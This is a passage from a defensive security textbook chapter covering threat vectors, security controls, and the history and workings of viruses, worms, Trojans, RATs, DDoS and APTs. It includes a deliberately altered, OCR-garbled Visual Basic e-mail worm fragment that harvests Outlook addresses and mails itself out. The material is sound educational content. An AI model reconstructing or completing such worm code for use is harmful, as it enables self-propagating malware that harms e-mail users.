this, so they focus exclusively on external threats. There are numerous other studies that
show different results, including later DBIR reports (because different environments
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Figure 2-1 Sources of actual losses, based on Verizon's 2010 Data Breach Investigations Report

experience different threats, and the threat landscape always changes) but they all point
to the insider threat as a serious concern.

Security professionals know that many real-world threats come from inside the
organization, which is why just building a wall around your trusted interior is not good
enough. Regardless of the breakdown for your particular organization, you need to make
sure your security controls focus on the right threats. To avoid overlooking important
threat sources, you need to consider all types of threats. This consideration should take into
account the following aspects of threats:

e Threat vectors

¢ Threat sources and targets

® Types of attacks

® Malicious mobile code

® Advanced Persistent Threats (APTs)

e Manual attacks

Each of these subjects is covered in more detail in the following sections.

Threat Vectors

A threat vectoris a term used to describe where a threat originates and the path it takes to
reach a target. An example of a threat vector is an e-mail message sent from outside the
organization to an inside employee, containing an irresistible subject line along with an
executable attachment that happens to be a Trojan program, which will compromise the
recipient’s computer if opened.

A good way to identify potential threat vectors is to create a table containing a list of
threats you are concerned about, along with sources and targets, as shown in Table 2-1. This
is just an example to illustrate the principle—your environment may dictate different lists.
In principle, though, it’s analogous to the classic Shakespearean Insult Generator, which
contains three columns of words, the left and middle columns containing adjectives and the
right column containing nouns. When read from left to right randomly and preceded by
“Thou,” different combinations produce comical insults (“Thou artless, clay-brained wagtail,”
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Sources Threats Targets

Employee Theft Intellectual property

Contractor Loss Trade secret

Consultant Exposure Personally identifiable information (PII)
System integrator Unauthorized change Protected health information (PHI)
Service provider Deletion (complete) Financial data

Reseller Deletion (partial) Credit card number

Vendor Unauthorized addition Social Security number

Cleaning staff Fraud Document

Third-party support Impersonation Computer

Competitor Harassment Peripheral

Insider Espionage Storage

Terrorist Denial of service Network

Internet attacker Malfunction Operating system

Software Corruption E-mail

Malware Misuse Voice communication

Software bug Error Application

Accident Outage Privacy

Weather Physical hazard Productivity

Natural cause Injury Health and safety

Table 2-1

Sample Threat Vector Elements

“Thou saucy, onion-eyed popinjay,” “Thou surly, beetle-headed barnacle”). Similarly, choosing
different combinations of sources, threats, and targets produces interesting varieties of threat
vectors, which helps with the process of brainstorming and enumeration.

In Table 2-1, you can put together many different combinations that help you visualize
threat vectors you may not otherwise have thought of. For example, while “employee theft
of intellectual property” or “malware causing outages on networks” may be the first threat
vectors that spring to most peoples’ minds, what about “competitor espionage of e-mail”?
Or, “cleaning staff theft of trade secrets”> How about “software bugs leading to corruption
of financial data”? There are things you can do to defend against these threats, detect them,
or even deter them. But before you can do so, you must consider and understand the threat
vectors so that you can choose the right countermeasures.

Many different analyses of threat vectors are routinely published. One reputable source
for conducting and publishing the results of this type of survey is the Computer Security
Institute (CSI), which identifies particular threat vectors and their frequency. Figure 2-2
shows some threat vectors from CSI’s 2010 survey. This illustrates the nature of threats
found in the real world.

Itis important to understand threat vectors and consider them when designing security
controls, to ensure that possible routes of attack for the various threats receive appropriate
scrutiny. Understanding threat vectors is also important for explaining to others, such as
management, how the protective mechanisms work and why they are important.

CAUTION Insider threats, although they create some of the most hazardous and ubiquitous risks to
networks, are often overlooked in security strategies. This puts the success of the entire security
program at risk.
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& Percent of Respondents Who Experienced

Figure 2-2 Computer Security Institute (CSI) attack-type statistics from 2010 survey

Insider threat vectors take many forms. For example, Trojan programs and viruses
compromise computers on the trusted internal network. Trojan programs are covertly
installed pieces of software that perform functions with the privileges of authorized users,
but unknown to those users. Common functions of Trojans include stealing data and
passwords, providing remote access and/or monitoring to someone outside the trusted
network, or performing specific functions such as spamming. When Trojans are installed
on a trusted system, they run with the same credentials and privileges as the user whose
account they exploit, so they constitute a form of insider threat. Trojans can be exploited
over the Internet, through the firewall, or across the internal network by users who are
not authorized to have access. Trojans are dangerous because they can hide themselves
in authorized communication channels such as web browsing. Trojans may be installed by
authorized internal staff, by unauthorized people who gain physical or network access to
systems, or by viruses.

Viruses typically arrive in documents, executable files, and e-mail. They may include
Trojan components that allow direct outside access, or they may automatically send private
information, such as IP addresses, personal information, and system configurations, to a
receiver on the Internet. These viruses usually capture and send password keystrokes as well.

A further example is the girlfriend exploit. This term, which was coined by early attackers
in the late 1980s, refers to a Trojan program planted by an unsuspecting employee who
runs a program provided by a trusted friend from a storage device like a disk or USB stick,
that plants a back door (also known as trap door) inside the network. Since this attack takes
advantage of personal trust in the attacker, it can be very effective. Another example is a
malicious e-mail attachment that exploits the access rights of the person who opens the
attachment to send confidential information out to the Internet, or opens a back door
inside the network. This attack compromises the security of the internal system.

Another example of an inside threat vector is back door configurations pre-configured
in computer and network devices to allow vendor support personnel to connect directly to
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the devices using a common account and password. Almost all network devices contain
back doors (otherwise known as “undocumented administrative accounts”), and details
about them can be easily found on the Internet. A search that includes the name of your
favorite router vendor along with the keyword “back door” will usually result in the
discovery of a secret account—try it yourself.

The insider threat is serious and needs to be taken into account in any security strategy.
Building a perimeter defense around the organization’s network is not enough. A risk
analysis that includes consideration of all major threat vectors helps ensure that the security
controls will be effective against the real risks to the organization.

Threat Sources and Targets

This book is not about hacking. There are plenty of other books available that cover
everything you ever wanted to know about hacking, and many of them are really good. This
book is about defense—protecting against attacks. Nevertheless, as a security practitioner,
you need to understand how attacks work so that you can select the best countermeasures
for defense. This chapter provides an overview of various kinds of attacks, and some
common countermeasures to protect against those attacks. The goal is to equip you with the
knowledge, principles, and perspective needed to implement the right countermeasures for
your environment.

Security controls can be logically grouped into several categories:

* Preventative Block security threats before they can exploit a vulnerability

* Detective Discover and provide notification of attacks or misuse when they

happen
* Deterrent Discourage outsider attacks and insider policy violations
* Corrective Restore the integrity of data or another asset
* Recovery Restore the availability of a service
e Compensative In a layered security strategy, provide protection even when

another control fails

Each category of security control may have a variety of implementations to protect
against different threat vectors:
e Physical Controls that are physically present in the “real world”
* Administrative Controls defined and enforced by management
¢ Logical/technical Technology controls performed by machines
* Operational Controls that are performed in person by people
e Virtual Controls that are triggered dynamically when certain circumstances arise

Table 2-2 provides examples of security controls that fall within a particular category
and method of implementation.
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Physical Administrative | Logical/Technical Operational | Virtual
Preventative Locks Firewalls, IPS Guards on Dynamic
station access lists
Detective Cameras IDS, logging, SIEM Guards
patrolling
Deterrent Signs, Security Warning messages Visible Dynamic
barbed wire | policies guards and | pop-up
cameras warnings
Corrective HR penalties Redundancy
Recovery Backups, data Disaster-
replication recovery
plans
Compensative Manual processes

Table 2-2 Security Controls for Different Threat Vectors

Types of Attacks

Any computer that is accessible from the Internet will be attacked. It will constantly be
probed by attackers and malicious programs intending to exploit vulnerabilities. If you
don’t keep up with patches and take appropriate countermeasures, your computer will
surely be compromised within a short amount of time. Candidates for exploitation include
any computer running a popular operating system or application for which the system
administrator hasn’t followed recommended hardening procedures such as those described
in Chapters 21 and 22.

People sometimes criticize Microsoft for making insecure products and recommend
using other, “safer” products. While Microsoft products include their fair share of
vulnerabilities, you won’t find any popular product from any manufacturer that hasn’t been
hacked. Every product that has ever claimed to be more secure than its competitors and has
at least a moderate market share has been hacked. For example, Oracle Corporation
launched an “Unbreakable” ad campaign in 2003 claiming Oracle’s database software was
impossible to compromise. The hacker community loves a good challenge, and in short
order three vulnerabilities were found. Java claimed to be much more secure than Microsoft’s
ActiveX mobile code security model, but time has shown us that Java has had dozens of
compromises of its well-designed, but complex, security model. Open source fans have
claimed for years that Linux is more secure than Microsoft Windows, but several studies
don’t back up that claim.

NOTE This chapter frequently uses and refers to Windows examples to illustrate attacks and
countermeasures, but the same principles can be applied to any computer platform.

In addition, and contrary to popular belief, software doesn’t have to be sophisticated
to have vulnerabilities. Those who have been around in the computer security field since
its beginnings remember the days when plain ASCII text was used to attack MS-DOS
systems. It was possible, because of a default-loaded device driver called ansi.sys, to create a
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plain-looking text file that was capable of remapping the keyboard. All you had to do was
read a text message, and embedded, hidden control codes could tell any key on your
keyboard to do anything. These malicious programs were called ANSI bombs, and they
littered the global predecessors of the Internet. It was possible that after reading a text
message, the next key pressed would format the hard drive—it did happen.

Whatever system is popular and is used by a majority of people will be hacked.
Changing from one popular OS to another may delay attackers for a brief while, but then
exploits and hacks will appear. Hacking, worms, and viruses existed long before Microsoft
arrived in the computer world, and they will be around long after Microsoft is gone. The
truth is that any computer can be compromised and any computer can be extremely
secure. The key is to make a habit of applying patches and taking appropriate security
countermeasures on a consistent basis.

Attacks can take the form of automated, malicious, mobile code traveling along
networks looking for exploit opportunities, or they can take the form of manual attempts
by an attacker. An attacker may even use an automated program to find vulnerable hosts
and then manually attack the victims. The most successful attacks, in terms of numbers of
compromised computers, are always from completely automated programs. A single
automated attack, exploiting a single system vulnerability, can compromise millions of
computers in less than a minute.

Malicious Mobile Code

There are three generally recognized variants of malicious mobile code: viruses, worms, and
Trojans. In addition, many malware programs have components that act like two or more of
these types, which are called hybrid threats or mixed threals.

The lifecycle of malicious mobile code looks like this:

1. Find
2. Exploit
3. Infect
4. Repeat

Unlike a human counterpart, malware doesn’t need to rest or eat. It just goes on every
second of every day churning out replication cycles. Automated attacks are often very good
at their exploit and only die down over time as patches close holes and technology passes
them by. But if given the chance to spread, they will.

The Code Red worm, which attacks unpatched Microsoft Internet Information Services
(IIS) servers, was released on July 16, 2001. Does that seem like a long time ago? Millions of
Code Red—compromised systems still exist on the Internet, years later. There are even
frequent reports of floppy disk boot sector viruses from the late 1980s and early 1990s still
spreading today even though you won’t find a floppy disk on most computers anymore. You
can still find boot sector viruses originally released in 1993 and 1994, such as Monkey,
Form, Stoned, New Zealand, Anti-Exe, and Michelangelo in lists of infections seen on the
Internet. The infect-and-reproduce cycle of viruses is very effective at keeping them alive.

Modern malware still uses the same techniques today to propagate and survive. According
to Symantec’s Security Response research centers, the malware listed in Table 2-3 includes
some of the most severe Trojans, viruses, and worms of the last two decades. Like the FBI’s
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most-wanted list, this list contains names well-known to many security practitioners on the
front lines who have had to battle this malware in their organizations’ networks.

Malware Name Type Date Discovered
Happy99.Worm Worm 01/27/1999
PrettyPark.Worm Worm 05/28/1999
Palm.Phage.Dropper Virus 09/22/2000
VBS.Elva.Worm Virus 09/27/2000
JS.Seeker Trojan 12/15/2000
VBS.Carnival Worm 02/23/2001
CodeRed Worm Worm 07/16/2001
CodeRed II Worm 08/04,/2001
VBS.Cuerpo Virus 08/30/2001
Backdoor.Slackbot Trojan 10/09/2001
Backdoor.Litmus Trojan 10/17/2001
JS.Coolsite Worm 12/18/2001
JS.Gigger Virus 01/09/2002
VBS.Annod Virus 03/28/2002
Backdoor.Sdbot Trojan 04/30,/2002
Linux.Slapper.Worm Worm 09/13/2002
Backdoor.WinShell.50 Trojan 08/05/2003
JS.Scob.Trojan Trojan 06/24/2004
Perl.Santy Worm 12/21/2004
Trojan.Admincash Trojan 01/19/2005
VBS.Gormlez Worm 01/31/2005
VBS.Allem Worm 03,/02/2005
Trojan.Abwiz Trojan 03/22/2006
MSIL.Letum Worm 04/08/2006
MSIL.Lupar Worm 04/15/2006
JS.Yamanner Worm 06/12/2006
Trojan.Peacomm Trojan 01/19/2007
Bloodhound.Exploit Virus 10/23,/2007
Trojan.Bankpatch Trojan 08/18/2008
Backdoor.Tidserv Trojan 09/18/2008
Trojan.Zbot Trojan 01/10/2010
OSX.Flashback Trojan 04/09/2012
Trojan.Tbot Trojan 12/07/2012
Backdoor.Nflog Trojan 12/19/2012

Table 2-3 History's Highest Severity Malware
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Viruses, worms, and Trojans are described in detail in the following sections.

Computer Viruses

Avvirus is a self-replicating program that uses other host files or code to replicate. Most viruses
infect files so that every time the host file is executed, the virus is executed too. A virus
infection is simply another way of saying the virus made a copy of itself (replicated) and
placed its code in the host in such a way that it will always be executed when the host is
executed. Viruses can infect program files, boot sectors, hard drive partition tables, data files,
memory, macro routines, and scripting files.

Anatomy of a Virus The damage routine of a virus (or really of any malware program) is
called the payload. The vast majority of malicious program files do not carry a destructive
payload beyond the requisite replication. This means they aren’t intentionally designed by
their creators to cause damage. However, their very nature requires that they modify other
files and processes without appropriate authorization, and most end up causing program
crashes of one type or another. Error-checking routines aren’t high on the priority list for
most attackers.

At the very least, a “harmless” virus takes up CPU cycles and storage space. The payload
routine may be mischievous in nature, generating strange sounds, unusual graphics, or
pop-up text messages. One virus plays Yankee-Doodle Dandy on PC speakers at 5 p.M. and
admonishes workers to go home. Another randomly inserts keystrokes, making the
keyboard user think they’ve recently become more inaccurate at typing.

Of course, payloads can be intentionally destructive, deleting files, corrupting data,
copying confidential information, formatting hard drives, and removing security settings.
Some viruses are devious. Many send out random files from the user’s hard drive to everyone
in the user’s e-mail address list. Confidential financial statements and business plans have been
sent out to competitors by malware. People’s illicit affairs have been revealed by a private
interoffice love letter to a coworker being sent to the spouse and all their relatives. There are
even viruses that infect spreadsheets, changing numeric zeros into letter O3, making the cell’s
numeric contents become text and, consequently, have a value of zero. The spreadsheet owner
may think the spreadsheet is adding up the figures correctly, but the hidden O will make
column and row sums add up incorrectly. Some viruses randomly change two bytes in a file
every time the file is copied or opened. This slowly corrupts all files on the hard drive, and
many times has meant that all the tape backups contained only infected, corrupted files, too.
Viruses have been known to encrypt hard drive contents in such a way that if you remove
the virus, the files become unrecoverable. A virus called Caligula even managed to prove that
avirus could steal private encryption keys. The things a virus can do to a PC are only limited by
the creator’s imagination and the physical and logical restrictions of the computer.

Because viruses are so powerful and unpredictable, there are many urban legends in
which viruses are attributed with doing the impossible. Viruses cannot break hard drive
read-write heads, electrocute people, or cause fires. The latter accusation supposedly
happens when a virus focuses a single pixel on a computer screen for a very long time and
causes the monitor to catch fire. Most administrators can tell you of monitors they’ve had
on for years, with millions of energized pixels, and no fires.
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If the virus executes, does its damage, and terminates until the next time it is executed,
it is known as a nonresident virus. A nonresident virus may, for example, look for and infect
five EXE files on the hard disk and then terminate until the next time an infected file is
executed. These types of viruses are easier for novice malicious coders to write.

If the virus stays in memory after it is executed, it is called a memory-resident virus.
Memory-resident viruses insert themselves as part of the operating system or application and
can manipulate any file that is executed, copied, moved, or listed. Memory-resident viruses
are also able to manipulate the operating system in order to hide from administrators and
inspection tools. These are called stealth viruses. Stealth can be accomplished in many ways.
The original IBM boot sector virus, Brain, was a stealth virus. It redirected requests for the
compromised boot sector to the original boot sector, which was stored elsewhere on the disk.
Other stealth viruses will hide the increase in file size and memory incurred because of the
infection, make the infected file invisible to disk tools and virus scanners, and hide file-
modification attributes. Memory-resident viruses have also been known to disinfect files on
the fly, while they are being inspected by antivirus scanners, and then reinfect the files after
the scanner has given them a clean bill of health. Other viruses have even used antivirus
scanners as a host mechanism, infecting every file after the antivirus scanner was finished
with them. Many viruses today use the System Restore feature of Microsoft Windows to keep
themselves alive, by infecting the backup copies of system files that Windows will readily and
innocently restore automatically when the originals are corrupted, such as by a virus.

If the virus overwrites the host code with its own code, effectively destroying much of
the original contents, it is called an overwriting virus (see Figure 2-3).

If the virus inserts itself into the host code, moving the original code around so the host
programming still remains and is executed after the virus code, the virus is called a parasitic
virus. Viruses that copy themselves to the beginning of the file are called prepending viruses
(see Figure 2-4), and viruses placing themselves at the end of a file are called appending
viruses. Viruses appearing in the middle of a host file are labeled mid-infecting viruses.

The modified host code doesn’t always have to be a file—it can be a disk boot sector or
partition table, in which case the virus is called a boot sector or partition table virus, respectively.
In order for a pure boot sector virus to infect a computer, the computer must have booted,
or attempted to boot, off an infected disk. If you see the “Non-system disk or disk” error, the
PC attempted to boot from the infected disk, and that’s enough activity to pass a boot sector
virus. If you don’t boot with an infected floppy disk, then the boot sector virus is not activated
and cannot infect the computer. You can copy and save files off an infected disk all day long,

Before infection:

Original file
After infection:
What's left
Virus of
original file

Figure 2-3 Example of an overwriting virus
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Before infection:

Original program file

After infection:

Virus

code Original program file

Figure 2-4 Example of a prepending parasitic virus

and as long as you do not boot with it, it cannot infect the PC. (This fact will become
important in Chapter 4.) There is one exception to the rule. Some boot sector viruses, like
Tequila, are classified as multipartite viruses, because they can infect both boot sectors and
program files. If activated in their executable file form, they will attempt to infect the hard
drive and place infected boot code without having been transferred from an infected booted
disk. However, none of the multipartite boot sector viruses ever became as widespread as
their pure boot sector virus cousins.

Old MS-DOS boot sector viruses can easily damage Microsoft’s newest, most secure
operating systems. Why? It has to do with the fact that any Intel-compatible operating
system or program (such as malware) can write to and modify a hard disk boot sector or
partition table. Boot sector viruses (and partition table viruses) play tricks with the logical
structure of the disk before the operating system has a chance to load and be in control.
Boot sector viruses move the original operating system boot sector to a new location on the
disk, and partition table viruses manipulate the disk partition table in order to gain control
first. Depending on how the virus accomplishes this and how well it is able to maintain the
original boot information determines whether or not Windows can load afterward.

Most boot sector virus damage routines run at the beginning of the virus’s execution,
before Windows is loaded. The virus can damage Windows by preventing it from loading or
by formatting the hard drive. In most cases, the boot sector virus won’t be able to infect
more disks or damage the hard drive while Windows is active. But, yes, if you boot a
Windows system with a disk infected with a boot sector virus, it will infect and damage the
system without a problem.

Macro viruses infect the data running on top of an application by using the program’s
macro or scripting language.

A Brief History of Viruses Although it was not the first macro virus, when the Microsoft
Word Concept macro virus was released in July 1995, it quickly launched a new extended
wave of malicious code. Concept used Word document macros to propagate itself. It infected
the Word global template, which is used as the blank document for all new documents.
When documents were opened, Concept copied itself, in five separate macro subroutines, to
the new host document, which in turn infected other computers with Word. Concept was in
a sense the grandfather of modern malware. It hasn’t been seen in the wild lately, but for all
we know, it could still be lurking in somebody’s Word template folder.
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Many applications ended up having macro viruses written for them, including most of
the Microsoft Office applications, Visio, WordPerfect, Lotus 1-2-3, Lotus Notes, Lotus
AmiPro, dBASE III, and CorelDRAW. Microsoft Word and Excel account for 99 percent of
the macro and script viruses in existence. Macro viruses were even able to go cross-platform.
Certain Word macro viruses are able to replicate on both Mac and Windows platforms.
Some macro viruses are able to spread in three or more Microsoft Office applications at the
same time. The epitome of macro viruses was Melissa, which used Outlook and Word 97
and became the world’s fastest spreading malware program in March 1999 by infecting
computers around the globe in under four hours. If Concept can be thought of as the
grandfather of modern viruses, then Melissa is the mother. Its author, David Smith, ended
up serving 20 months in prison. Nevertheless, Melissa was responsible for showing
malicious coders a new way to infect computers, and it launched the next wave of malicious
mobile code, which continues to plague us today—e-mail worms.

Computer viruses were the number-one malicious mobile code type from the 1980s
through the late 1990s. Boot sector viruses were very popular, and viruses like Stoned, Brain,
Anti-Exe, Anti-CMOS, NYB, and Joshi spread around the world—quickly, by the standards of
pre-Internet days. MS-DOS program viruses with names like Dark Avenger, Jerusalem, Friday
the 13th, and Cascade were among the most feared malware programs. By the time Windows
began to replace the MS-DOS market, there were over 10,000 computer viruses.

Windows isn’t the only platform besieged by viruses. Virtually every popular PC format
has been the victim of computer viruses. What becomes popular is hacked. Amiga, Atari, and
several Unix operating systems had computer viruses long before Windows and MS-DOS
became the de facto PC standard. The very first PC virus, called Elk Cloner, was written in
1981 for the Apple Macintosh. When Linux gained popularity, so did creating Linux viruses
and worms. The Slapper, Ramen, and Lion malware programs specifically targeted Linux
vulnerabilities and the ELF file format. Simile, released in July 2002, was the first virus to
infect both Windows and Linux platforms.

The introduction of Windows NT in 1993 slowed down virus writers for a few years, but
in November 1997 Jacky became the first Windows NT virus. Since then, virus writers have
written thousands of Windows viruses. Microsoft’s latest development platform, .NET, has
over a dozen viruses and worms. Donut, the first virus to target the .NET environment, was
released in January 2002.

The Next Evolution of Viruses There are even viruses for tablets and smartphones. The
four most popular small-form-factor programming environments are Android, Windows
CE, Java, and Symbian. These platforms are being used in smartphones, as well as tablets,
and viruses have been written for each of them.

A malicious mobile program was sent using Japan’s DoCoMo’s i-mode mobile Internet
access service in August 2000. Thousands of users received cell phone messages asking if
they would drink from a cup after their sick boyfriend or girlfriend. Respondents answering
“yes” inadvertently dialed a call to Japan’s 110 service, the equivalent of the United States’
911 emergency call system. In one southern Japanese city, Fukuoka, the emergency number
was flooded with 400 calls in one day.

More recently, mobile devices running on Android and Apple’s iOS have experienced
complex and interesting infections. This is not surprising really, considering that they are
really full-fledged mini computers. According to McAfee, the Android OS has become the
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biggest target for mobile malware, with Trojans, spyware, SMS spamming malware,
ransomware, and even botnets infecting mobile smartphones and tablets.

Tablets and smartphones have all the right components for a fastspreading malware
program. They have network connectivity, e-mail, a contact address book, and both allow
additional programs and features to be added. Combining those features with wireless
technology means mobile viruses will probably be a serious problem in the next few years. It
is not unrealistic to think that in the near future computer viruses will be jumping from
device to device using the multitude of open wireless transmission points that are available
everywhere. One day, you could be beaming all your friends the latest computer virus just
by walking down the street or past them in the office. For now, though, the Internet worm
is the most popular type of malware.

Computer Worms

A computer worm uses its own coding to replicate, although it may rely on the existence of
other related code to do so. The key to a worm is that it does not directly modify other host
code to replicate. A worm may travel the Internet trying one or more exploits to
compromise a computer, and if successful, it then writes itself to the computer and begins
replicating again.

An example of an Internet worm is Bugbear. Bugbear was released in June 2003, arriving
as a file attachment in a bogus e-mail. In unpatched Outlook Express systems, it can execute
while the user is simply previewing the message. In most cases, it requires that the end user
execute the file attachment. Once launched, it infects the PC, harvests e-mail addresses from
the user’s e-mail system, and sends itself out to new recipients. It adds itself into the Windows
startup group so it gets executed each time Windows starts. Bugbear looks for and attempts to
gain access to weakly password-protected network shares and terminates antivirus programs.
It also drops off and activates a keylogging program, which records users’ keystrokes in an
attempt to capture passwords. The captured keystrokes, and any cached dial-up passwords
that are found, are then e-mailed to one of ten predefined e-mail addresses. Lastly, Bugbear
opens up a back door service on port 1080 to allow attackers to manipulate and delete files.
Bugbear was one of the most successful worms of 2003.

While an attacker may investigate a single host for all sorts of vulnerabilities, a replicating
worm will attack every host it finds with the same exploit (or exploits). For example, the SQL
Slammer worm runs its exploit against every system it finds, even though its attack will only
work against computers with unpatched versions of Microsoft SQL Server 2000 or Microsoft
Desktop Engine (MSDE) 2000. The worm sends 376-byte overflow attacks to UDP port 1434,
the SQL Server Resolution Service port. Less than 1 percent of Internet hosts are vulnerable
systems. Is it effective to randomly attack a much larger population of hosts in an attempt to
compromise a much smaller minority? Apparently it is effective enough, as Slammer infected
90 percent of potentially infectable hosts in its first ten minutes, doubling infections every
8.5 seconds, and ultimately compromising over 200,000 hosts in total. Slammer would have
infected many more hosts, but its own quick replication led to massive traffic problems and
denial of service events, actually slowing it down.

It was lucky for the computing world that the Nimda hybrid threat did not contain an
intentionally damaging payload. Whereas most worms exploit one hole, Nimda tried
several. Released in September 2001, Nimda had many different ways to infect a computer.
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First, it could arrive as an e-mail attachment. When executed it would look to exploit poorly
password-protected network shares and open up new access points. It would also infect web
sites with vulnerable versions of IIS and place infected JavaScript coding on the sites. The
JavaScript coding would infect visiting browsers by forcing the download of an infected
e-mail (.eml) file. Depending on the computer security vendor and the way they categorized
the different threat vectors, Nimda had 4 to 12 exploit mechanisms. If it couldn’t infect a host
one way, it tried another. Luckily, neither Slammer nor Nimda contained an intentionally
malicious payload routine. A future worm targeting an exploit common to all Windows
machines (such as unpatched Internet Explorer holes) and carrying a damaging routine will
be able to do much more damage.

E-Mail Worms

E-mail worms are a curious intersection of social engineering and automation. They appear
in people’s inboxes as messages and file attachments from friends, strangers, and
companies. They pose as pornography, cute games, official patches from Microsoft, or
unofficial applications found in the digital marketplace. There cannot be a computer user
in the world who has not been warned multiple times against opening unexpected e-mail
attachments, but often the attachments are simply irresistible.

Internet e-mail worms are very popular with attackers because they can be very hard
to track. After the malicious authors create the worm, they can use one of the many
anonymous e-mail services to launch it. They might use an Internet cafe terminal that they
paid for with cash to release the worm, further complicating tracking. Most of time, they
send out the infected e-mail to an unmoderated mailing list so that the worm is distributed
to thousands of unsuspecting users. The user is enticed to execute the worm.

The worm first modifies the PC in such a way that it makes sure it is always loaded into
memory when the machine starts (we will cover this in more detail in Chapter 4). Then it
looks for additional e-mail addresses to send itself to. It might use Microsoft’s Messaging
Application Programming Interface (MAPI) or use the registry to find the physical location
of the address book file. Either way, it grabs one or more e-mail addresses to send itself to,
and probably uses one of the found e-mail addresses to forge the sender address. The
following is example code taken from a Visual Basic e-mail worm that uses Outlook’s MAPI
interface to grab addresses and send itself:

CreateObject ("Outlook.Application")
GetNameSpace ("MAPI")

For Each X In AddressLists

For 1 To AddressEntries.Count
AddressEntries (Y)

If Z = 1 Then Address

Else End If

Next

Subject = "Re: You gOtta see thls!"
Body = "I can't believe I have these pictures."
Attachments.Add WScript.ScriptFullName
Send
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NOTE The malicious code in this example has been intentionally modified to prevent exploitation. It's
intended as an example to show how an e-mail worm can replicate itself.

E-mail worms can use a preexisting SMTP server or use their own SMTP engine. Most
infected users notice severe slowness in their PC immediately following the worm’s
execution, and some users recognize it for what it is and turn off the machine. Others just
see it as regular PC quirkiness, and the worm goes undetected. Either way, it’s game over, as
the worm has moved on, infecting dozens of new hosts.

Trojans

Trojan horse programs, or Trojans, work by posing as legitimate programs that are activated by
an unsuspecting user. After execution, the Trojan may attempt to continue to pose as the
other legitimate program (such as a screensaver) while doing its malicious actions in the
background. Many people are infected by Trojans for months and years without realizing
it. If the Trojan simply starts its malicious actions and doesn’t pretend to be a legitimate
program, it’s called a direct-action Trojan. Direct-action Trojans don’t spread well because the
victims notice the compromise and are unlikely, or unable, to spread the program to other
unsuspecting users.

An example of a direct-action Trojan is JS.ExitW. It can be downloaded and activated
when unsuspecting users browse malicious web sites. In one case, this Trojan posed as a
collection of Justin Timberlake pictures and turned up in a search using Google. The link,
instead of leading to the pictures, downloaded and installed the JS.ExitW Trojan. When
activated, JS.ExitW installs itself in the Windows startup folder as an HTML application
(.hta) that shuts down Windows. Because it is in the startup folder, this has the consequence
of putting infected PCs in a never-ending loop of starts and shutdowns. Luckily, this Trojan
does no real damage. Unfortunately, many Trojans aren’t so harmless.

Remote Access Trojans

A powerful type of Trojan program called a remote access Trojan (RAT) is very popular in
today’s attacker circles. Once installed, a RAT becomes a back door into the compromised
system and allows the remote attackers to do virtually anything they want to the
compromised PC. RATs are often compared to Symantec’s pcAnywhere program in
functionality. RATs can delete and damage files, download data, manipulate the PC’s input
and output devices, and record keystroke’s screenshots. Keystroke- and screen-capturing
allows the attacker to track what the user is doing, including entry of passwords and other
sensitive information. If the compromised user visits their bank’s web site, the attacker can
record their login information. Unlike regular viruses and worms, the damage resulting
from a RAT compromise can be felt long after the RAT is eradicated.

RATs have even been known to record video and audio from the host computer’s web
camera and microphone. Imagine malware that is capable of recording every conversation
made near the PC. Surely confidential business meetings have been recorded.

RATs come with server and client programs. The client portion creates server
executables that are meant to be run on unsuspecting users’ PCs, while the server programs
can be extensively customized. The server can be made to listen on a particular UDP or
TCP port, use encryption, require connection passwords, and be compiled with all sorts of
additional functionality. The RAT server executable can be disguised as a game or
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combined with some other interesting program. Once executed, it installs itself quietly in
the background, opens up a port, and then either waits or e-mails its originator. The
attacker with the client portion can then send a myriad of different commands, instructing
the RAT to capture screen shots, switch mouse buttons, flip the screen image upside down,
open and close the optical drive, shut down Windows, delete and copy files, capture
keystrokes, crack passwords, edit the registry, record sound, and send text messages. RAT
programs come with stealth routines to hide them from prying eyes.

Some attackers have botnets of thousands of compromised machines under their
control, and they use the IP addresses of the compromised hosts as an underground
Internet currency. For example, one attacker may trade another a hundred IP addresses of
compromised computers for a porno web site password. Trading of tens of thousands of
compromised addresses goes on in open chat channels that function like a commodities
trading board.

Occasionally, RATs are used for detective work and spying. Commercial, legal RATs have
been used by investigators to reverse-hack and track attackers. RATs are being used by
scorned ex-spouses during divorces to spy and gather evidence on their former partners.
Legitimate RATs are even being marketed as a way for mom and dad to monitor the kids’
online activity from work, and as a way for employers to monitor employees’ computer use.

Zombie Trojans and DDoS Attacks

Zombie Trojans infect a host and wait for their originating attacker’s commands telling them

to attack other hosts. The attacker installs a series of zombie Trojans, sometimes numbering
in the thousands. With one predefined command, the attacker can cause all the zombies to
begin to attack another remote system with a distributed denial of service (DDoS) attack.

DDosS attacks flood the intended victim computer with so much traffic, legitimate or
malformed, that it becomes overutilized or locks up, denying legitimate connections (see
Figure 2-5). Zombie Trojan attacks have been responsible for some of the most publicized
attacks on the Internet, temporarily paralyzing targets like Buy.com, Yahoo, eBay, Microsoft,
the FBI, Amazon, and the Internet’s DNS root servers. Even more telling is that even after
repeated daylight attacks against these sites, and surveillance by the world’s leading
authorities, few arrests have ever been made when DDoS tools have been used.

Malicious HTML

The Internet allows for many different types of attacks, many of which are HTML-based.
Pure HTML coding can be malicious when it breaks browser security zones or when it can
access local system files. For example, the user may believe they are visiting a legitimate web
site, when in fact an attacker has hijacked their browser session and the user is inputting
confidential information into an attacker site. Malicious HTML has often been used to
access files on local PCs, too. Specially crafted HTML links can download files from the
user’s workstation, retrieve passwords, and delete data.

HTML coding often includes script languages with more functionality and complex active
content. Script languages, like JavaScript and VBScript, can easily access local resources
without a problem. That’s why most e-mail worms are coded in VBScript. Active content
includes ActiveX controls, Java applets, and media files. ActiveX controls and Java applets can
be almost any type of hostile program, including Trojans and viruses. Both ActiveX and Java
security models, although well intentioned, have suffered dozens of exploits over the years.
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Figure 2-5 Example DDoS attack scenario

An increasing number of malicious exploits are being accomplished with malformed media
files—end users think they are downloading a music or video file, and hidden in the content
is a buffer overflow or virus. Almost all of the most popular media types used on the Internet
today have been exploited, including Flash, Real Audio, and Windows Media Player files.
Although not as popular as other vectors, users browsing the Internet can also mistakenly
download malicious code in their browser by visiting a rogue site.

Advanced Persistent Threats (APTs)

The use of sophisticated malware for targeted cybercrime is known as advanced persistent
threats (APTs). Usually targeted at businesses (especially high-tech businesses with juicy
intellectual property and trade secrets desired by competitors) and governments that have
political adversaries, APTs are created and directed by hostile governments and organized
criminals for financial or political gain. APTs are intentionally stealthy and difficult to find
and remove—they may hide for months on an organization’s network doing nothing, until
they are called upon by their controllers.
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These attacks usually begin with a simple malware attack. This can be a targeted attack
against a victim within the organization, such as an engineer or researcher with access to
confidential material. The attacker may send an infected document, such as a PDF file, to
the victim, along with a highly believable e-mail message to trick the victim into opening
the file. Alternatively, the attacker may send a URL that points to a web server that executes
malicious Java or ActiveX code on the victim’s browser—even without the victim’s
